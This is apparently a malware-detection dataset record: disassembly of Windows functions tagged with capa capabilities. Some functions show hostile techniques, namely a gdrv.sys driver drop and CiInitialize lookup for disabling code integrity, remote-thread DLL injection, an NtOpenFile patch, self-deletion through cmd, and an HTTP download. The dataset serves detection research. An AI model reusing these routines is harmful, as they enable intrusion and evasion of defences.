joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400abce0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400abd67
mov rsi, rbx
cmp word [rax], bp
je 0x1400abd26
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400abd10
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400abd0c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400a5d68
mov rdi, rax
test rax, rax
je 0x1400abd54
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400b1500
mov rbp, rdi
xor ecx, ecx
call fcn.1400a5d2c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400afff4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400af37c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400af37c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400b0144
cmp rax, 0xffffffffffffffff
je 0x1400b0144
xor edi, edi
test rbp, rbp
jle 0x1400b00ef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400a8018
mov rbx, rax
test rax, rax
jne 0x1400b007c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400b00e5
mov edx, 0x8000
mov ecx, r14d
call fcn.1400a3ed0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400a97e4
cmp eax, 0xffffffff
je 0x1400b00c5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400b008c
mov edx, r15d
mov ecx, r14d
call fcn.1400a3ed0
jmp 0x1400b00e5
cmp byte [rsi + 0x38], dil
je 0x1400b00dc
cmp dword [rsi + 0x34], 5
jne 0x1400b00dc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayGetDim
cmp byte [rsi + 0x30], dil
je 0x1400b00e5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400a5d2c
jmp 0x1400b0158
jns 0x1400b0158
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400af37c
cmp rax, 0xffffffffffffffff
jne 0x1400b0110
cmp byte [rsi + 0x30], dil
je 0x1400b0158
mov edi, dword [rsi + 0x2c]
jmp 0x1400b0158
mov ecx, r14d
call fcn.1400aab1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400b0158
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, SafeArrayGetDim
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayGetDim
jmp 0x1400b0158
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400b0151
mov eax, dword [rsi + 0x2c]
jmp 0x1400b0156
mov eax, SafeArrayCopy
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400af37c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400b0e90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400b0eb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400b0eb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001ce0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001d0d
xor eax, eax
jmp 0x140001e79
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140001d47
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140001d47
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140001e79
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140001e6c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140001d8a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140001db5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140001e71
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140001e24
sub eax, 1
je 0x140001e24
cmp eax, 2
jne 0x140001e6c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140001e71
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140001e52
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140001e6c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140001e71
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400026e0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002300
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400023d3
cmp byte [rcx + 0x71], 0
je 0x1400023d3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400023cf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002394
sub eax, 1
je 0x140002398
cmp eax, 2
jne 0x1400023cf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400026e0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400023c6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400023cf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000237c
xor al, al
jmp 0x14000237c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400026e0
add rsp, 0x60
pop rbx
ret

Function at 0x140003074
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400030be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400030be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400030be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400030be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400030be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400030c0
xor al, al
add rsp, 0x28
ret
Function at 0x140001700
Capabilities:
Delete file
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0x880
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlNormalizeProcessParams]
mov rbx, qword [rax + 0x78]
test rbx, rbx
je 0x140001735
cmp word [rbx], 0
jne 0x140001739
mov rbx, qword [rax + 0x68]
lea rax, [rsp + 0x8a8]
xor r8d, r8d
lea r9, [rsp + 0x8b0]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call fcn.140001540
mov rax, qword gs:[0x30]
mov edi, dword [rsp + 0x8b0]
mov rcx, qword [rax + 0x60]
mov eax, dword [rsp + 0x8a8]
lea edx, [rdi*8 + 8]
mov rcx, qword [rcx + 0x30]
lea r8, [rdx + rax*2]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
jne 0x1400017b2
mov edx, 0xc0000017
lea rcx, [rax - 1]
add rsp, 0x880
pop rdi
pop rsi
pop rbx
jmp qword [sym.imp.ntdll.dll_NtTerminateProcess]
lea eax, [rdi + 1]
mov qword [rsp + 0x8b8], rbp
lea r8, [rsi + rax*8]
mov rdx, rsi
lea rax, [rsp + 0x8a8]
mov rcx, rbx
lea r9, [rsp + 0x8b0]
mov qword [rsp + 0x20], rax
call fcn.140001540
mov rcx, qword [rsi + 8]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor ebp, ebp
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x8a0], ebp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000186f
cmp rdi, 0xffffffffffffffff
je 0x140001901
lea r9, [rsp + 0x8a0]
mov qword [rsp + 0x20], rbp
mov r8d, 0x6650
lea rdx, section..data
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140001901
mov rdx, qword [rsi + 8]
call fcn.140002530
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rbp
mov r9d, 0x400
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.C:WindowsSystem32Driversgdrv.sys
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x140001901
xor r9d, r9d
lea rdx, [rsp + 0x40]
xor r8d, r8d
lea rcx, [rsp + 0x80]
call qword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
je 0x140001901
lea rax, [rsp + 0x40]
mov dword [rsp + 0x50], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x58], rbp
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x68], 0x40
call qword [sym.imp.ntdll.dll_NtDeleteFile]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
call fcn.140001070
mov edx, 1
mov rcx, 0xffffffffffffffff
mov rbp, qword [rsp + 0x8b8]
add rsp, 0x880
pop rdi
pop rsi
pop rbx
jmp qword [sym.imp.ntdll.dll_NtTerminateProcess]
Function at 0x140001930
Capabilities:
Disable driver code integrity
Parse pe header

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov eax, 0x5a4d
mov rbp, rcx
cmp word [rcx], ax
jne 0x1400019ed
movsxd rcx, dword [rcx + 0x3c]
add rcx, rbp
cmp dword [rcx], 0x4550
jne 0x1400019ed
mov r8d, 0x20b
mov eax, 0x88
cmp word [rcx + 0x18], r8w
mov edx, 0x78
cmovne eax, edx
xor esi, esi
mov r12d, dword [rax + rcx]
mov eax, dword [rax + rcx + 4]
lea r13, [r12 + rbp]
mov r15d, dword [r13 + 0x20]
mov edi, dword [r13 + 0x18]
add r15, rbp
mov dword [rsp + 0x68], eax
mov eax, dword [r13 + 0x1c]
add rax, rbp
mov qword [rsp + 0x70], rax
mov eax, dword [r13 + 0x24]
add rax, rbp
sub edi, 1
mov qword [rsp + 0x60], rax
js 0x1400019ed
nop
lea ebx, [rdi + rsi]
sar ebx, 1
lea rcx, str.CiInitialize
movsxd r14, ebx
mov edx, dword [r15 + r14*4]
add rdx, rbp
call sub.ntdll.dll_strcmp
test eax, eax
jns 0x1400019e4
lea edi, [rbx - 1]
jmp 0x1400019e9
jle 0x140001a04
lea esi, [rbx + 1]
cmp edi, esi
jge 0x1400019c0
xor eax, eax
mov rbx, qword [rsp + 0x78]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp edi, esi
jl 0x1400019ed
cmp ebx, dword [r13 + 0x14]
jge 0x1400019ed
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
movzx eax, word [rax + r14*2]
mov ecx, dword [rcx + rax*4]
cmp ecx, r12d
jb 0x140001a30
mov eax, dword [rsp + 0x68]
add eax, r12d
cmp ecx, eax
jb 0x1400019ed
lea rax, [rcx + rbp]
jmp 0x1400019ef
Function at 0x140001a40
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov rax, rsp
push rsi
push r14
sub rsp, 0x158
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [rax + 0x10], 0
mov rsi, rcx
lea r9, [rax + 0x10]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001bdf
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x178]
mov qword [rsp + 0x180], rbp
add r8, r8
mov qword [rsp + 0x150], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x178]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebp, eax
test eax, eax
js 0x140001bb1
mov qword [rsp + 0x170], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140001ba9
nop
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140001b10
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rsi
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.ntdll.dll__stricmp]
test eax, eax
je 0x140001b9f
inc ebx
cmp ebx, dword [rdi]
jb 0x140001af0
jmp 0x140001ba9
mov rax, qword [rsp + 0x30]
xor ebp, ebp
mov qword [r14], rax
mov rbx, qword [rsp + 0x170]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x150]
mov eax, ebp
mov rbp, qword [rsp + 0x180]
add rsp, 0x158
pop r14
pop rsi
ret
Function at 0x1400112e4
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
jmp 0x1400174e0
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x9a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0x3d8], rax
lea rcx, [0x1400310fb]
call fcn.140011730
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400175d9
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1400175d9
lea rdx, str._c_del
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.____NUL
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, str.ComSpec
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400175d9
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x140]
lea r8, [rbp + 0x10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1400175d9
mov eax, 1
jmp 0x1400175db
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140025390]
call fcn.140011604
mov rax, rdi
mov rcx, qword [rbp + 0x3d8]
xor rcx, rbp
call fcn.14001137f
lea rsp, [rbp + 0x3e8]
pop rdi
pop rbp
ret

Function at 0x140011401
Capabilities:
Terminate process

Disassembly:
jmp 0x14001d480
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001150a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001c440
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001c460
xor al, al
jmp 0x14001c4e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001c473
xor al, al
jmp 0x14001c4e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001c49d
xor al, al
jmp 0x14001c4e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001c4b1
xor al, al
jmp 0x14001c4e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001c4c3
xor al, al
jmp 0x14001c4e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001c4df
xor al, al
jmp 0x14001c4e1
mov al, 1
add rsp, 0x38
ret

Function at 0x140011541
Capabilities:
Delete file

Disassembly:
jmp 0x140018ae0
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400310fb]
call fcn.140011730
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.NtOpenFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
lea rcx, str.C:Windows_bcastdvrdll.dll
call qword [sym.imp.ucrtbased.dll_remove]
lea rdx, str.Old_DLL_succesfully_removed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d2
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [rbp + 8], 0
je 0x140018bae
mov r8d, 5
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x24]
call fcn.140011384
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [0x14002a440]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140018bc1
lea rdx, str.Unable_to_bypass._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d2
lea rcx, [rbp - 0x30]
lea rdx, [0x140025870]
call fcn.140011604
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001137f
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400115d2
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400190f0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x1400310f4]
call fcn.140011730
xor r9d, r9d
lea r8, [rbp + 0x10]
mov edx, 0x104
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r8d, dword [rbp + 0x258]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140025010]
call fcn.140011604
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.14001137f
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x1400115e1
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
jmp 0x140016f60
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x13a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x778]
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x704], 0
lea rcx, [0x1400310fb]
call fcn.140011730
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140017011
lea rdx, [0x14002614b]
mov rcx, qword [rbp + 0x740]
call fcn.140011325
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x740]
jmp 0x140017117
mov rcx, qword [rbp + 0x748]
call fcn.1400110af
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140017084
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14002614b]
mov rcx, qword [rbp + 0x740]
call fcn.140011325
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x740]
jmp 0x140017117
lea rcx, [rbp + 0x48]
call fcn.140011721
nop
lea r9, [rbp + 0x4a4]
mov r8d, 0x400
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400170d4
cmp dword [rbp + 0x4a4], 0
jbe 0x1400170d4
mov eax, dword [rbp + 0x4a4]
mov r8d, eax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x48]
call fcn.140011794
jmp 0x14001708e
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x740]
call fcn.1400116d1
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
lea rcx, [rbp + 0x48]
call fcn.140011154
mov rax, qword [rbp + 0x740]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400252c0]
call fcn.140011604
mov rax, rdi
mov rcx, qword [rbp + 0x718]
xor rcx, rbp
call fcn.14001137f
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret